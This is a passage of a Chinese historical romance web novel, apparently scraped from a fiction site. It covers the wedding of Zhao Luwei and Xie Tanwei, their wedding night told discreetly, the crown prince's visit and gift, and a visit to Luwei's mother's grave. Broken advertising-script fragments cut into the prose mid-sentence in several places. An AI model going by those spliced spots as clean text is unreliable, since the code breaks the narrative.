露微皱了皱眉,又深叹一声,交握于谢探微腰后的双手缓缓分开,沿着他腰系的革带,在两侧停住,左右食指便各勾住了革带上的一枚银銙。 谢探微一无觉察,全神贯注地辨析着露微的神色,却猛觉两侧腰带一坠,同时唇上便有惊鸿乍落,极快却又极重,“微微!”方已垂下的双手早又弹起,将人裹挟进去,满团温柔,深深报之。 或有许久,也不知久,迷津暗渡,徐徐方归。 “这——便算是逾礼了。”露微给那人解答了。 谢探微浅一点头,“赵学士果是饱学之士。” …… 谢府后园,水榭风亭之中摆了竹方榻,四面檐下挂起的冰箔纱帘将日光淡去,亦时有凉风自池面透来,拂得帘幕袅袅微动。李敬颜正与长女谢探渺闲坐其间,母女年来未见,又兼眼下大事,自有说不尽的话端。 “我到了也有五六日了,都还不见大郎的影子,眼看就要成婚了,他如何还不回来住着?” 才说罢一段扬州的家事,谢探渺便见下人来与母亲禀报兄弟婚礼之事,不免牵动了连日积攒的心思。 她自扬州来时,只知小弟信中提到的一二缘故,等到了咸京才知悉全部。然则事情到底是有些突然,她又多年不与大郎通音讯,也难免是有些隔阂的。 李氏却与女儿不同,亲历了这年来的点滴,只觉长子的变化都是因婚事上起的,心里宽得很,“他从来都是自己主张,如今就别管他了,他到前一日定会回来的。” 谢探渺抿唇一笑,倒也解得母亲心意,但话意未尽,又道:“娘越是这般纵着,我倒越发好奇那新妇究竟是怎样的女子,既能将大郎的性子转了,又能得阿耶阿娘如此厚爱。” “那孩子实在难得,娘不是已经告诉过你了吗?”女儿话音未停,李氏便接上了,“再有别的都是说不来的,你只等见了她的人,便都能体会了。” 谢探渺脸上的笑意顿了顿,却将身子朝母亲倾前了些,“她这般好,才貌兼备,怎么还能被休弃呢?只是因那家人糊涂不济?” 李氏虽同女儿说了新妇的过往,但只是母女私话,作一感慨,也望女儿知晓后能多疼顾弟妇,彼此亲近,和睦相处,却实在不是叫女儿当成件闲事来打牙的。便顿时就冷下脸来,责备道: “我是为这话才告诉你的?!渺儿,你已是两个孩子的母亲了,将来也是要为他们聘妇择婿的,如此背后调嘴弄舌,岂是主母能为?还望旁人服你敬你不成?” 谢探渺惊得脸色一白,还是开天辟地初回见母亲对她这般嫌色,方要解释缓和,又听母亲问道: “二郎尚在禁足,你去看他,他可与你说了什么?”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 李氏想来,女儿本就是因二郎寄信才回,二郎又颇对禁足的惩罚不忿,早前更是对长兄的婚事颇有意见,说过些狂言。若女儿一味听信了二郎的夸张之语,如此先入为主,也是有可能的。 谢探渺不敢否认,脸色还没调和过来,“阿娘,二郎没说什么,只是叫我求父亲放了他。我也只是好奇,大郎毕竟是在军中长大,难免有行事偏执之处,赵家娘子也非一般闺秀,他们今后担了这份家业,定是要多吃些辛苦的。” 李氏瞥眼女儿叹了口气,怒意虽减,仍余正色,“渺儿,凡事先论是非,再论亲疏,便有公正;若是先论亲疏,便就不能分是非,更遑论公正。你可能领会这般道理?” 谢探渺只渐渐蹙深了眉头:“阿娘为何说起亲疏?” “大郎二十年来都在外头,自是不如你与二郎亲近,可你总要记得,你们三人都是娘的孩子,在娘心里没有亲疏,他们在你心里,也不该有。”李氏如是回道。 …… 谢探微携了露微回到房中,见她额上鼻尖皆冒了细汗,衣领也洇透了,便将人扶坐外间平榻,亲自端了水来与她擦拭,又倒茶,好半晌方才歇停,还要切切问询: “还热不热?这里并没留你的衣裳,只能叫你忍耐些了。” 露微也见他胸前背后都汗湿了,却浑不自顾,含笑摇头,携起水中巾子替他打理起来,然而,也并不止这些闲事:“我有话问你,你也该还有话问我。” 谢探微略思一笑,倒很清楚露微之意,将正拧水的人揽回身边,才坦然说道:“可还记得我同你说过,陛下自甘州调兵弹压逆党私兵之事?阿父调任金吾后,原先的副将顾夷中将军领了甘州总管,此次便是他带兵平叛。” 露微点点头,心中已有了些大致刻画:“那位叫阿玥的娘子就是顾将军的女儿?” 虽就是要说这些事,可谢探微想着先前情形,听到这个名字,不觉笑容一滞,缓了缓才继续: “倒不是,她父亲江昶将军是甘州军下的一戍主帅。她自幼习武,性情不同,虽不能行军入阵,却很喜欢跟随她父亲和一众将军前后。如今,也是随顾将军进京见识,就住在府中。” 原来是个女将军般的人物,露微倒觉得新奇,不免也将那日皇城的事讲了一遍,“如此说来,那位年长稳重之人就是顾将军,江玥我也知道了,那还有一个绿袍小将是谁?” 谢探微何尝不觉得露微所遇稀奇,一面叹笑,才算知道露微先前为何被江玥问起男女,露微又为何强调自己是“赵学士”。 皇朝女官的官服与朝官形制相同,女官若不施妆,让不熟的人乍一眼看,自是分辨不清,况且“学士”之职,称呼起来更是不分男女了。 “只能是崔为了,他是甘州别驾的公子,不爱读书取仕,早年自己从了军,现在是顾将军麾下的一名营主。我尚在甘州时就同他一样,也是营主。” 事情都核对明白了,露微细细品来,生出些感慨:“你们都是一起长大的,十年,你就一点都没喜欢上江玥?” 不料,话端竟又打回了源头,“微微,你还是不信我?” 露微只是觉得江玥英气俏丽,与众不同,从公论断,当不应有低首下心之态,而为情暗投,大约也是早对谢探微显露过的。 “我换句话说吧,若你不认识我,你会喜欢她吗?” 谢探微压低了眉头,若严正,却忽轻轻哼笑了声:“若我不认识你,我就先去认识你。” 露微忍俊不禁,歪过身子不想理这人,却被牢牢抓了回去,“微微,五月十五,你就要嫁给我了。” “所以呢?”露微仍侧着脸不看他。 谢探微拨正了露微的脸:“母亲卜问所得的吉期原是十六,你改成十五,我都明白——可你更要明白,你既择了此日,以后此日便不再只是我的生日,更是,我将此生许你之日。” 露微眼中一怔,心已犹如擂鼓,“此生,许我……” “嗯,春水满泽,夏云嵯峨,秋月清辉,冬雪盈岑,此生四时佳兴,只许微微同归。” 57.礼成 露微在通明渠畔戴上谢探微所赠的桃花纹镶金玉镯时,才知这人的生辰之日是五月十五,但一直也不曾想过到了那日该以何为贺——谁知,竟是以婚为贺。 清晨,往家祠敬告先灵,而后聆听父训,再至镜前理妆,露微心中都在暗叹着此宗故事。无论外头有多喧闹,也不惊眼前摆着天子御赐的九树花钗,她只是从容安静,含笑凝思。 “阿姊好美。” 听得杨淑贤在耳畔轻惊,她才抬起眼来。肌肤已然冰雪作色,颊面早是桃花施朱,半额鸦黄之上贴了剪成微月形状的云母花子,与檀唇之间的一点猩红盈盈相顾。 “娘子好容华。”挥就这新妆的乔晴霞亦赞道。 露微十三岁初嫁时就是她作的妆。那时母亲宋容已久病了,气力不济,怕不能呈现女儿最美的样子,便只一旁陪着,到最后才亲手为女儿簪了花钗,递上纨扇。 露微自镜中望着她,也想着四年前的情形,彼此都不必再说破,化在眸中,淡淡一笑。 “阿姊!阿姊!” 正此间,忽然镜上跃进一个匆促的身影,与他的呼声同时渲染了房中的喜气。一下子,府上便没一处清宁地界了。 “太子殿下!”露微看清这人时已不及见礼,被李衡按坐回去,见他却是黑介帻、绛纱衣、白裙襦的公服穿戴,竟隆重的很,“殿下是来……” “是来送阿姊出嫁的!”李衡扬声一笑,颇有些骄傲,“父皇不便前来,就让我来观礼。阿姊看,这是阿衡的贺礼!” 露微惊得倒吸气,想着李衡倒是说过要送贺礼,却不防是这样亲自跑来的,“是什么?”一只描金的盝顶长盒,被李衡两手捧着,不大,却看不出名堂。 李衡昂起了面孔,眸子闪着骄傲的光泽,“是母后昔年出嫁时用过的一支凤钗!”话未说完,一支赤金凤钗已在李衡指间,往露微鬟上腾去。 露微却也早已僵住了脖子,眼珠都不敢擅动:“先皇后的……” “阿姊,阿衡说过要给你挑最好的贺礼,母后的东西就是世上最好的!我贺阿姊千秋万岁,凤凰于飞!” …… 亲迎礼虽在申时,但男家亦同女家一样,自清晨起,仪程便已开张。一并祭祀告灵,父母训示的诸多章法过后,就到了午间。谢探微早是急不可耐,正欲到前院同陆冬至等一众傧相汇合,却在中堂前被晏令白唤住了。 谢探微再急切,面对晏令白却骤然涌出许多情愫,又想来,早上父母虽是请了晏令白一道来受礼训话,但晏令白并没发言,只是一旁默默看着。 “阿父说吧,敏识定铭记于心。” 晏令白却并不急着交代,将冠带齐整的谢探微从头至脚细细看过,才自殷殷目光中,分出些许气力,淡笑:“我并没有什么要说的,你父母已经说得极周全了。” 谢探微未见过晏令白似吞吐不决的态度,“那阿父是不放心?”他自知并不算练达,而赵家却是德礼为本的门庭,也许阿父是怕他在婚仪上失礼,闹笑话。 晏令白又摇头,笑意已泯然,“露微是赵太傅唯一的女儿,又自小多舛,母亲也已逝去,缺少依傍。到了你家,你千万不能亏待了她,千万要护好了她!” 声音不高,却顿挫,谢探微先一觉阿父其实还是不放心之意,然则竟恍然望见了晏令白眼中异常的光点,心中一紧,呼吸一促,“阿父,我不会的!我的命都是她的了。” 晏令白终于长舒了口气,挥起手,指向前路通衢:“那么,就去吧,往迎汝妻!” 谢探微毅然颔首,踏步之间只先下拜,直至额面触掌,“不敢忘命!” …… 太平坊谢家同崇贤坊赵家都在城西,虽不相邻,却是有一条正直的大街串联,又因是天子赐婚,更比寻常成婚隆重,便自亲迎队伍出发,沿街两侧就绵延起了围观的人众。 新郎意气风发自不必说,却是随他列队后行的一班傧相,以陆冬至为首,全都是年轻英俊的金吾郎,一路行过,惹得人群中时传艳羡之声,比后头乐士的奏乐还欢乐。 新婿昂首出门时,露微也早已到了中堂,坐在一面雀屏之后,一手执扇障面,一手被李衡紧紧牵着。也因此,淑贤、乔氏倒只能陪在后头了。 “阿姊,你怕不怕?” 露微侧垂双目,只见李衡满头出汗,脸上红得如她施了胭脂一般,便索性打起扇来,摇头抿笑:“殿下在怕什么?” 李衡却是被露微一说一准,但也答不上来。迟疑间,只听门楼下传来一阵阵喧闹,便有廊下小婢传过话来,说新婿已进门了。 李衡这才叹了声,松开手替露微扶好团扇,又将先前亲手插进露微发间的凤钗正了正,终于一步三看地绕出了屏外。 …… 中堂外间,谢探微倒一改来时的急三火四,显出十二分的稳重,怀里抱着红罗包裹的大雁,一步似一顿。跟着的傧相也都不闹了,排成一列,个个忍笑。 只因,那新上任的岳丈赵太傅自他下马升阶之时,便一直盯着他,虽似含笑,也没为难,却反衬出无限深意。好不容易捱到中堂廊下,正欲抬脚,却先在抬眼间险些将大雁摔了—— “臣见过太子殿下!” 李衡是特意走了中堂正门,此刻气定神闲,见众人都跪下了,一挑眉,只先免了旁人的礼,“听说今天是你的生辰?” 谢探微深知这小太子对露微的依赖,那时露微在宫中遇险也是为他的安危,便大概猜着,太子是替赵家下婿呢,“臣正是今日生辰。”但他没什么敏捷才思,只能如实回了。 李衡又问:“几岁生辰?” 谢探微稍稍抬眼一瞄,旋即低去,“二十五岁。” 李衡口中“咝”了声,复一叹,负起双手,却没再说什么,将这人让进了门,“你去吧。” 谢探微只等看不见李衡的鞋靴才直起身子,浑身大汗洇透了礼服不算,被他夹在腋下的大雁约莫都要热晕了过去,恹恹地眯着眼。 …… 露微端坐堂中,只听外头的声音便可以想见情形,忍笑忍得花钗乱颤,忽觉乔娘附耳提醒,竟已见那人将大雁掷过了屏风。露微忙咬了唇,双手扶扇,不及眨眼,扇下就现出了新婿的袍边。 “微微,我来接你了。” 谢探微轻声送语,薄透的扇面遮不住新妇的容光,早将他一颗心勾了进去。露微抿笑,眉目低去,静静等他行了跪拜新妇的大礼,伸过掌来,熟稔地扶起了自己。 “微微。”谢探微携了露微左手,与她并立,皎月之光顷入星眸,动人心魄,不觉鼻息一颤,“微微。” 日头已西,露微由不得向这人挤了一眼,“可接到了没?” 谢探微方才回魂,赧然一笑,便有汗珠自额上挂到颌边,一拱肩揩去,“接到了,接到了。” 一见新人出堂,傧从乐士重又哄闹了起来,簇拥着他们出了府门。一驾(巾宪)车久候阶下,谢探微见露微盛装不便,索性抱了露微登车,便要上马,走出两步却又折返,掀开了车幔: “微微。” 露微从扇后露出眼眉,并不解意:“又怎么?” 谢探微却自袖中掏出一包麻纸包裹的东西,几下撕开递了上去:“怕你饿了。” 露微这才见,是两块已挤得露出馅料的饼餤,一时笑到失声。 …… “老师,我二十五岁时会是什么样子呢?” 李衡放了谢探微进堂后也并未离去,却是换成了赵维贞跟着。此刻正携着老师的衣袖,与老师一道望着门外的情形。 赵维贞与他虽有君臣之别,但相处间亦多有爱护之情,不知他因何作问,便一笑,只当少年懵懂说的顽话,“那时殿下早已长大成人了。” 李衡近来却不是头回听到这个词,回想前次的情形,又问:“老师,我长大成人之后能不能比谢探微还英武?” 赵维贞倒一愣,大为讶异,“殿下,你……你和他比什么?” 李衡暗暗用力抿唇,却只摇了摇头。 …… 浑厚无际的天幕升起一轮华月,月光空明肆意,教承照之下的庭院恍如黎明。院中池水泛着玉色波纹,微风似柔夷拨出泠泠清音,不时传入新人的青帐中。 正礼早成,新人依坐。花钗凤钗,冠带礼衣,已尽数卸去,齐整地列在台架之上,却都成了目下最无讥的物什。唯有榻前双烛,光辉摇映,徐徐隐隐挑人心窍。 “微微,今天可累坏了吧?”谢探微从后怀抱着露微,呼吸着她发间的薄香,轻轻地缀了一吻,“只是,还要烦你做件事的。” 露微捻了一缕发丝在手里,闻言一笑,用发梢扫了扫这人的面颊,顺势转过身来,“可是这事?” 谢探微不禁愧笑,举手抽开了头顶的发簪,将自己束发打散了,“你既知道,到这时还诓我先说出来?” 露微耸了耸肩,却作摇头一叹:“我自然知道,又不是头回成亲了,轻车熟路!” 谢探微笑意一僵,一手不知在身后枕下摸什么,也顿住了。 露微越发目光坦荡,眼珠转了一圈,忽而支身下榻,走到了镜前。 谢探微的眼睛不自觉地追了过去,望见他这新妇颀长如削的身架上只披了件浅红的薄罗衫子,透出莹润的肌骨;青丝如乌练,覆在这样的躯体上,倒让人忧心,是否太密太重,恐要 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 压坏了她。 “微微。”他终究忍不住走了过去,想要抱起新妇,却赫然入目她掌心攥着的一绺乌发。 露微正是到镜台前寻剪子的,“谢敏识,他不曾和我结发,你是第一个,也不会有别人了。” 谢探微眼中一热,再不迟疑,剪下一段头发合进了露微掌中,仍将她抱回了榻上,而那枕下之物亦接着显露了面目,“我早就想好了,就用这个绾起来。” 露微一眼便认出,那是去岁暮春昭成寺偶遇,她赠给谢探微的长命缕。原本夫妇结发是用红线结起,或是装进红罗布囊,倒没有用这五彩丝缕的。 “你还留着呢?我还有一大堆呢。”她想来,这丝缕若编得好看就罢了,却实在是丑得出新。 谢探微亦记得她当时赠缕所言,便知她想的是什么,一笑,取过二人合发,就用这丝缕绑结好了,“便有再多,也不许再送给别人了。” 露微竟未想起还给过谁,呆了片刻才一恍然,“陆冬至拿给你看了?” 陆冬至没给他看,是他自己全程看到了露微是如何给的,不想再提了,“已经有人来给阿父递函,问他的亲事了,早晚让他忙自己的事去。” …… 新人庭院夜已深沉,但前庭宾客却正兴浓。杨淑贤了了陪从事务出来,信步逛到宴席间,偶一过目,倒先望见了站在廊檐下的长兄杨君游。 她兄妹也是到了昨日才被父亲放出来,她陪新人忙了一日,可长兄只是来吃酒的,倒瞧着也不与人交际,就出神似的盯着一处。便一时玩心大起,悄步走去,想要吓吓人。 然则,离了只剩几步,她也定住了,随着长兄的视线看到了一个云鬓霞服的美人,而这美人双眸点漆,亦是在向长兄注目。不消片刻,她就明白了,这是在谢家,美人当是长兄心中的沈氏娘子。 她不愿再惊动,默默退回原路,寻了一个清静的廊角,但不防,廊下还有旁人,先于她的惊疑,唤出了她的名字: “贤儿!” 借着廊檐悬垂的灯盏,她亦看清了那人的相貌,不由一喜:“你怎么不去吃酒?” 陆冬至快步走来,身上却真是一无酒气:“我才要去的,但先看见了你,就不去了罢。” 其实淑贤自接亲时就一直和陆冬至一路,因谢探微不许众人闹新妇,在青帐行礼前轰走了一班傧相,她才见陆冬至离开,到此时也不过隔了一个时辰。 “为什么见了我就不去了?”淑贤歪头一笑,“你不饿?” 陆冬至略圆了圆眼睛,想起了什么似的,从怀里掏出一个麻纸包裹,翻开举到淑贤面前,“还是你叫露微送给我的,我一天寻空偷吃了许多,就剩这些了。” 是两块饼餤。淑贤当然记得自己送了他三层食盒的饼餤,但一时只想,下午谢探微接了露微登车,也递了两块饼餤,“你是不是也分给谢司阶了?” 陆冬至当时也瞧见了,但立刻就摇了头:“他知道,但他从不占我的东西,我也不会把你的东西给了他去。” 淑贤低头一笑,尽在不言。 …… 青帐灯下,夫妻交颈。谢探微不时垂目肩上伏着的面孔,见她眼睫上落了一点细雾,心头怜爱乍涌,俯下一吻,“微微,不必熬着,就在我身上睡吧。” 露微不觉身躯轻颤,更将脸埋进他的颈窝,双手贴在这人已然松敞的中衣上,掌心微潮,却是从衣下透出来的,“你不高兴了?” 谢探微不知话从何来,将她手掌握住,“今天是我最高兴的一天,二十五年,最高兴的一天。” 露微暗抿笑意,撑开被他握住的手,五指嵌入他的去,“来日方长,话不可太满,如月盈而亏。” 谢探微携了她的手在鼻尖轻蹭,发笑,不以为然,“若论盈亏,我也该是亏盈。二十年来,只以为父母弃我,谁知一日竟能为我去求了你来。这便是填了这二十年来一切憾事,此生盈满。” 露微不期然他想得是这些,恰正是自己想为他做的——尽力弥合他的家事。“那么,怎么就要叫我睡了呢?” 谢探微犹自感慨,闻言胸口一闷,体内便似有股血气逼了上来,“微微,我……”咽喉干涩,燥热得紧。 不及他踟蹰定,露微已攀着他的脖颈仰倒下去,见他仍用手肘撑着,并不迫近,启唇一笑,“你还不高兴?” 谢探微方明白那前一问是何意,一念之间,身躯塌下,“微微,若嫌我重了,便扎我。”束发的簪子就放在枕侧,被他交到了露微手里。 “你不疼吗?” “你不疼,便是了。” 暖烛或知人意,在此刻双双燃尽了,帐中十指交缠,只闻其声。 58.天伦 “殿下,已将亥时了,出来了这一日,大礼都成了,若还不好回宫,不单是陛下要过问,谢中书和郡主也不好安置啊。” 李衡在赵家送了新人登车仍不足,又随到谢家来。此刻更深露重,还站在新人院外观望,身后随侍的乳母钱氏已劝了多回。 李衡也知这话听了五六遍,脚下总算动了动,“这个时辰,父皇也该歇下了吧。” 钱氏弯腰牵起李衡,一笑:“那明日再去给陛下请安回话就是,殿下也累了。” 李衡跟着钱氏下阶,不防就打了个哈欠,“我不累。” 众宫人见他熬得这样,却还满口找补,都低头抿笑。倒就这时,一行人后的花丛里忽然沙沙弄响,引动目光纷纷聚去,竟是一个总角的孩子滚了出来。 李衡一见,却是和自己年纪相仿的,忙遣宫婢去搀了过来,“你是谁家的?”又见他衣裳虽新,却着了泥污,颊上还布了许多蚊虫叮咬的小包,“这时节你躲在那里,可不成了舍身饲虎了?” 孩童一时只站着,钱氏看来,心猜是谢家的孩子,不好吓着,正要求李衡开恩放了他走,竟见他敛衣行礼,端端正正跪下了: “小人赵澈,拜见太子殿下!” 李衡本是寻常问他,倒一惊,既为他礼仪咸备,也为他这名姓,“你是老师家的?那我白天怎么没见你?你一人在此岂不要叫老师担心了?”说着便亲自扶起来。 赵澈复一拱手,从容道:“回殿下,小人父亲是吏部主事赵启英,祖父正是太子太傅。殿下今日驾幸敝庐时,小人随母亲站在最后,故而小人才有幸识得殿下玉容。如今这般,只是小人私心,想看看小人的姑母是否安好。” 李衡早将这些人事理清楚了,他的姑母不就是自己的赵学士么?“原来你和我一样心肠。只是,你几岁了?” 赵澈应道:“小人是开和十一年生人,已满八岁了。” “那你还比我小两岁。”李衡细细点头,牵起了赵澈的手,“走吧,很晚了,我送你回家,然后我也得回宫了。” 赵澈倒不敢握掌,“殿下,小人不敢无状。” 李衡却不管他,已带着他往前走,“你以后别自称小人了,你姑母在我面前是自称臣的,你也学她吧。” 赵澈尽力伸长被牵住的手臂,不敢与李衡并肩,“可是姑母有官职,小人尚是白衣,不敢僭越。” 李衡嗤笑了声,“你才八岁,还能是个五品官吗?哎呀,你就听我的便是了!怎么老师家的人个个都是把规矩当饭吃的。” 赵澈不敢再辞,倒是众宫人一路听着两个孩子的对白,又都不禁低头忍笑。 …… 李衡倒不必将赵澈送回赵家,才到前庭,已见他父母找了过来,自此分别。踏进宫门时已将子夜,李衡眼皮已重如千斤,却不料丁仁成就在夹道上守着,又将他带到了内宫蓬莱殿。 蓬莱殿是天子寝殿,李衡自被立储,虽不及元服加冠,却也早早受命迁往了东宫,因而数年来已不常踏入内宫。 如此,再是昏然欲睡,此刻也不得不撑起精神。可谁知,父亲却并没高坐殿上,竟是立在门下等他,一见就将他揽进了怀里。这一下,李衡的睡意全都散了。 “阿衡今日可玩得开心吗?” 李衡毕竟才十岁,年少失恃,多有寂寥之时,也就是有了赵学士后,数月间才开朗许多。于是父亲此状便让他瞬时就红了眼眶,强忍了半晌才颤颤回道: “儿臣不知父皇还在等着,儿臣知错。” 李煦望见孩子眼中泪意,不觉蹙眉,“阿衡何错之有?” 李衡低头不语,虽一直被父亲揽着,两手却不敢触碰圣体。李煦亦能体察,先遣了殿内侍奉的人,将孩子带进了内殿宣室。父子榻边并坐,才见孩子神色松缓了几分。 “阿衡,已经没有别人了,可以给阿耶说说今天的喜事吗?” 李衡微微抬头,仍有怯意,又观望了片时,终将一日的见闻都说给了父亲,越说也越不拘了。 婚事无非那些章程,只是当听到李衡唤赵露微为阿姊,又以林皇后的凤钗为贺,李煦才露出惊讶,“阿衡,你就这么喜欢赵学士?” 阿姊原是私下叫的,凤钗为贺也不曾事先请旨李煦,李衡虽才觉不妥,却并没有犹豫,起身禀道: “儿臣与她一见如故。先前宫中大事,她为了臣能安心,就一直陪着臣,太傅不在,她就给臣说故事。她总是很有主张。” “什么故事?”李煦越发稀奇了。 “陈书最后一卷,陈朝陈叔陵逆案。当时臣也不解缘故,后来才知,她是在教臣,何为览前王之得失,为在身之龟镜。所以臣知晓大事后并没有感到一丝害怕。” 当日李煦回避太子的探望,正是因为太子年少,舐犊情切,毕竟,李衡是他和林皇后唯一的孩子。然而,他此时竟觉自己做得还不如这赵露微。 “父皇,凤钗已经赠与阿姊了,臣不能收回来,若父皇生气,就只降罪于臣吧!” 李衡见天颜似有凝滞,以为李煦终究不悦,说着便要撩衣下跪,却再次被揽进了怀里,“阿衡无错!赵学士更该赏,实在是阿耶对阿衡多有疏忽。” 李衡愣了一愣,倒没再局促,慢慢地也抱住了父亲。 夜已二更,宣室没再传出话音,李衡偎在父亲怀中渐渐睡去了。直至孩子鼻息沉稳,李煦才将他轻轻放到了榻上,为他脱去外袍,卸下冠履,一如寻常人父。 “陛下,不若移步东殿安置吧?太子殿下这处,自有老奴细细看着。”丁仁成守在宣室外久不闻声,忽见天子出来,忙上前应承,却见天子只是挥手,叹声问他: “你说,朕让阿衡早早地迁居东宫,是不是太狠心了些?清筠在天有灵,又会不会怪朕?” “清筠”是林皇后的闺名,丁仁成已许久不听天子这般称呼先皇后了,“殿下是储君,国本所系,自与别的皇子不同。”他并不敢轻易多提皇后。 李煦未置可否,回望了宣室一眼,又一叹:“大事之后,朕还没有好好问过阿衡,今日原是借着喜事想同他亲近亲近,不料这孩子竟有些怕朕。朕心中有愧。” 天家父子历来不同于普庶,可丁仁成最是知道,本朝天子更是不同于历朝的,“殿下未必是怕陛下,只是太傅将君臣父子的礼序教得好罢了。” 李煦一笑,抬手指了指丁仁成,“这几日就叫阿衡跟朕睡吧,不急送他回去。” …… 谢探微陪露微在谢家住过数日,拜了舅姑,见了家人,便一道回了岳家。露微自然欢喜,但见了父亲,便也不会忘了母亲。母亲的忌日是六月初五,并不远了。 然则此一件事却是夫妻二人同时提起来的。 露微原以为他不过是筹备婚事时有所留心,问来才知,这人竟早就推知了。那时露微病中与他坦陈往事,说起姚家小女满月之日正是母亲去世之日,而这小女的生日便是端阳五月五。 因而露微更觉宽慰,陪父亲用过饭后,便拜辞了,领了这新婿去南郊乐游山祭母。谢探微虽无二言,到底觉得仓促,而他提起来,也只是想早做准备,到当日再去郑重祭拜。 露微却知晓他的心思,一路笑而不语,等上山到了母亲坟前,看着这人战战兢兢拜过,才与他解释: “我早想好了,就是要今日来,也不必你准备什么,阿娘生前别无所好,就只这一样。” 谢探微面色仍紧着,看向碑前一盘红玉般的樱桃,是露微一路捧在手里的,“那你是不是也和阿娘一样,喜食樱桃?”他倒尚未留心露微在饮食上的偏好。 露微摇头,伸手替这人拭去颊上汗珠,关于樱桃,心里一时涌出许多故事来: “在咸京,自春天到如今中夏,樱桃易得,不是什么罕物。可阿娘并非出身咸京,我虽不知她的来历,但可以想见,她幼时是吃过很多苦的。” 谢探微亦适时地想起来,露微早对他透露过母亲是个孤女,“微微,阿娘在天有灵,必不愿你再为往事伤怀。” 露微见他将自己的手握得紧了,便是一笑,“我没事,你听我说完。” 樱桃旧事并不完全是母亲宋容的往事,其实露微最要提的,是去岁清明在母亲灵前摆下樱桃的一位不知名人物。而到如今,这人的身份已不再重要。 “所以,我倒猜想,这世上应该还有一个娘的知己,一直记得她,对她有一片真情。” 谢探微解了这桩缘故,倒也瞬时懂了露微之心,不再一语,松了手,复往宋容碑前一拜。 时过中夏,暑气蒸燠,然而山间清风却是无限清凉的。清风可遣幽怀,何尝不是知己,眼前人又何尝不是知己。 …… 夫妻在临近申时下了山,登车回城,谢探微只叫仍去赵家,却被露微改成了将军府。谢探微方反应过来,露微这一日的安排都是早想定的,不止是祭母。 “去看过阿父,明日你就去上职吧。” 马车驶入城西一片,露微忽然说起,谢探微一直盯着她看,心里满足,却是一无思量,顿了顿方道:“不急的。” 露微知道天子给他放了长假,也给自己传下口谕,虽还是做东宫学士,却不必像婚前那般定时了。“这事没得商量。” 谢探微也知职责所在,不能久溺私情,不过想耍个无赖,却早被看穿,一笑:“好,听你的,那明日先送你回父亲身边我再去。” 这“父亲”自然不是谢家的父亲,露微深吸了口气,仍清楚他在想什么,只是她既心中有底,也是有所筹谋的。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >这几日在谢家,露微见到了他长姊一家,还有谢二郎,也有那位沈氏表妹。他是怕自己应付不来,甚至是受委屈。 “我回你家,这事也没得商量。” 谢探微果然要再劝,但车驾恰在此时停了,露微瞥了他一眼,不容他再商量,先一步下了车。 二人进了将军府,晏令白倒还在职上,谢探微便先携了露微回房安置。正笑说着,不防穿过花园时,迎面碰上了两人,一是江玥,再是崔为。 与三人皆不同,崔为此刻虽早得知了“赵学士”的缘故,也赴了她夫妇的新婚酒宴,却一直惊情不减。而因也与谢探微是熟人,便只先对露微开了口: “赵学士,我不知女人还能当官,当时真的一点也没看出来!” 露微尚不深解崔为其人,但观他两次言行,却也爽朗,心里是有些好感的。只是方要回话,先被谢探微挡在身后。 “崔为,你少啰嗦,这事还要说几次?” “看你小气的,你夫人都没生气,你白急什么!” 露微不禁忍笑,凭他二人饶舌,目光转向了一旁的江玥。江玥仍穿着那身粉绿袍服,面含羞愤,亦早将眼神拂来,只是并不说话。露微心中衡量了片刻,主动走了过去: “上回不识得娘子,多有得罪,不知娘子如今可还生气?” 江玥僵直着身子,嘴唇暗咬,虽越发瞪大了眼睛,却只是难堪,“哼!算你厉害!”半天就憋出这一句,然后便又像上回,扭头跑了。 这时,崔为那头正将一句话说到一半,忽然见状,不明所以,却抬脚就追了过去。谢探微自是拉了露微回来,倒也没听见是何事,只切切道: “你不必管她的!她也不会总留在咸京。” 露微才将目光从崔为的背影上挪回来,只一笑,仍牵了他往院中走,“我只是全个礼数。” …… 江玥习武之人,素来步伐如风,又带着气,崔为直至厢房住处前才将人拦住,问道:“你怎么了?就说人家厉害。她一个读书的小娘子,还能欺负你不成?” 原来,崔为虽没听见露微那一句,倒是听清了江玥的声音。可他又并不知江玥与露微还有一段缘故,今日是第三次碰面了。于是,如此反问,就更激起了江玥的脾气: “谁要你管了!我说她什么关你什么事!” 崔为撇了撇嘴,又挠头,倒一点不上火,“其实我也觉得她很厉害,能陪太子读书。难怪谢探微这么拧巴的人,一到了咸京就喜欢上人家了呢!” 虽不上火,却是雪上加霜。话音未落,崔为已人仰马翻地躺在了地上,疼得喊不出口,懵得不知道怎么喊,只听: “砰!”震天响的一声关门声。 …… “她叫阿玥。” 夫妻方在房中落座,露微就道了几个意味深长的字,叫谢探微反应了半晌,才摸到几分门道: “她不是微月之月。” 露微捧腮一笑:“同音,叫起来是一样的。” 谢探微凑近拨开她一只手,趁她不意,俯面一吻,“不一样。” 露微并不抽手,顺势勾出一指,抬起这人下颚,似拘审:“那你当时知道我叫阿月,可曾想起她来?” 谢探微亦不惊不急,垂目瞧她举动,若有迟疑,却忽伸了手臂将她挟制在怀,贴耳道:“微月只有天上一轮,你可曾见过双月了?” 露微绽唇一笑,又被这人的鼻息弄得半脸发痒,意欲挣脱,反更被拿住腰腹间,“痒!你放开!”身子已笑得发软,不想忽又颠倒过来,被他揿在平榻上,“做什么?大白天的!” “已经晚了!” 这人却是一语双关,倒让露微辨不出真假,正此心意荡漾,推搡嬉闹之间,忽听外头传话,将军回来了。 一时,声笑俱灭,二人面红耳赤地相扶起来,互整衣冠。直至携手出门,四目偷视,方各作嗤笑,掩过不提。 …… 晏令白自保宁坊事后便没再与露微近处照面,前次露微替淑贤办差而来,也是错过。硬说相见,便只是亲迎礼上,泯然于宾客中,目送新人步入青帐。 于是,回府一听阍房报知,他是手足无措。 下人去传话后,他就站在中堂门前举目,以看似平常的姿态粉饰内心忐忑。当那一双佳偶执手翩然乍现在视线里,他不禁一阵目眩,心底轰然一声,想起当年,亦曾青春作伴,人月双圆。 “阿父!” “阿父。” 两声平齐的呼唤将他的旧梦惊破,眸中再聚起光泽时,这双儿女已跪在身前。他略显仓惶地弯身扶起,耳畔仍沉浸那短短的一声称呼,却也不算短,快要十八年了。 此后天伦相聚,终是父子笑谈,不知翁婿相看。 59.枝蔓 